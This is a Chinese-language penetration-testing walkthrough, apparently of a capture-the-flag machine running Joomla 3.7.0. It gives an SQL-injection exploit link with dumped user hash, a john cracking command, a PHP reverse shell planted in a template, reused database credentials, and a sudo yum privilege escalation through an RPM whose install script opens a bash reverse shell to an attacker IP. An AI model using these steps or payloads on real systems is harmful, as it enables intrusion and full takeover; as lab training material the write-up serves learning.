【渗透测试】 Joomla 获取反向 Shell

  • A+
所属分类:安全文章

点击上方蓝字“Ots安全”一起玩耍
侦察
我访问了网络服务器。这是一个类似博客的应用程序,显示了“蜘蛛侠”抢劫银行的项目。

查看 HTML,它显示 Joomla! 正在使用。
乍一看,我正试图找到 Joomla!网页中的版本 - 但似乎没有信息。
我用谷歌搜索了更多信息,发现我们可以看到 Joomla! 通过查看语言版本。
https://www.itoctopus.com/how-to-quickly-know-the-version-of-any-joomla-website
【渗透测试】 Joomla 获取反向 Shell

网络枚举
导航 robots.txt
我尝试浏览 robots.txt 中的所有目录。/administrator 很有前途,因为它显示了一个管理面板。
但我需要先找到超级用户的凭据。

网络扫描
【渗透测试】 Joomla 获取反向 Shell
  • SSH (22)
  • http (80)
  • mysql (3306)
似乎主要的攻击媒介是 Web 服务器和数据库。

建立后门 (1)
我在用户登录功能中尝试了一些 SQL 注入负载。但它不起作用。
所以我在谷歌上搜索了 Joomla 的漏洞利用程序!3.7.0
https://raw.githubusercontent.com/NinjaJc01/joomblah-3/master/joomblah.py
注意:这需要python2
【渗透测试】 Joomla 获取反向 Shell
Found table:', 'fb9j5_users') Found user', ['811', 'Super User', 'jonah', '[email protected]', '$2y$10$0veO/JSFh4389Lluc4Xya.dfy2MF.bZhz0jVMw.V.d3p12kBtZutm', '', '']) (' - Extracting sessions from', 'fb9j5_session')
我尝试使用 john 破解密码:
john --format=bcrypt --wordlist=/usr/share/wordlists/rockyou.txt jonah.txt
【渗透测试】 Joomla 获取反向 Shell
所以密码是spiderman123
我在管理面板中以 jonah 的身份登录。

从 Joomla 获取反向 Shell!
这需要更多时间。
谷歌搜索后,我发现我们可以index.php将模板中的文件更改为php反向shell。
【渗透测试】 Joomla 获取反向 Shell

【渗透测试】 Joomla 获取反向 Shell

建立后门 (2)
我很难手动找到用户标志。所以我决定运行一些 Linux 枚举脚本。
我使用 python 命令生成:
python -c 'import pty; pty.spawn("/bin/sh")'

错误
我浏览了我的 Linux PE 清单,但没有一个检查有效。
我看到我们有一个帐户:
jjameson:x:1000:1000:Jonah Jameson:/home/jjameson:/bin/bash
此外,我试图检查一些事情:
  • 尝试所有 SUID 二进制文件以查看是否可以提升权限 -> 不起作用
  • 寻找内核漏洞 -> 不起作用
然后在 linpeas 枚举期间,我看到发现了一个数据库密码。
【渗透测试】 Joomla 获取反向 Shell
测试 mysql 是否有任何漏洞以及它是否以 root 身份运行 -> 不起作用
我尝试以 root 身份登录:
mysql -u root -p -D joomla
但那里没有什么有用的。
我尝试寻找 Linux 漏洞和 sudo 漏洞 -> 不起作用,没有进展。我将在 SSH 中以 jjameson 身份登录。我试过蛮力,但它不起作用。

我如何意识到自己的错误?
至此,除了找到数据库密码之外,我还没有取得任何进展。
MYSQL Passworduser: rootpw: nv5uz9r3ZEDzVjNu
我参考了其它文章这有很大帮助:https : //sushant747.gitbooks.io/total-oscp-guide/content/privilege_escalation_-_linux.html
【渗透测试】 Joomla 获取反向 Shell
我意识到了我的错误。我应该检查发现的密码是否被 SSH 重用,而不是仅依赖于暴力破解。

SSH – 登录检查方法
  1. 检查已知密码是否被重用?对枚举期间发现的每个新密码执行此操作
  2. 如果没有,那么尝试暴力破解。
我花了 4 个小时才弄清楚数据库密码被重用为jjamesonssh 密码。

权限提升
现在我可以以 jjameson 身份登录。
我做的第一件事就是跑 sudo -l
【渗透测试】 Joomla 获取反向 Shell
看到这个账号可以运行sudo yum。

Yum PE
好文章参考:https://medium.com/@klockw3rk/privilege-escalation-how-to-build-rpm-payloads-in-kali-linux-3a61ef61e8b2

首先我需要安装 fpm 和 rpm。
git clone https://github.com/jordansissel/fpmcd fpmsudo gem install fpmsudo apt-get install rpm
然后使用有效负载创建一个 root.sh 文件:
#!/bin/bash
bash -i >& /dev/tcp/[ATTACKER IP]/3333 0>&1
然后使用 root.sh 创建包:
fpm -n root -s dir -t rpm -a all --before-install root.sh .
在端口 3333 启动一个 nc 侦听器。
下载目标机器中的软件包并安装:
sudo yum localinstall -y [package name].rpm
【渗透测试】 Joomla 获取反向 Shell
在侦听器中,我们将以 root 用户身份接收连接。
【渗透测试】 Joomla 获取反向 Shell
【渗透测试】 Joomla 获取反向 Shell

本文始发于微信公众号(Ots安全):【渗透测试】 Joomla 获取反向 Shell

发表评论

:?: :razz: :sad: :evil: :!: :smile: :oops: :grin: :eek: :shock: :???: :cool: :lol: :mad: :twisted: :roll: :wink: :idea: :arrow: :neutral: :cry: :mrgreen: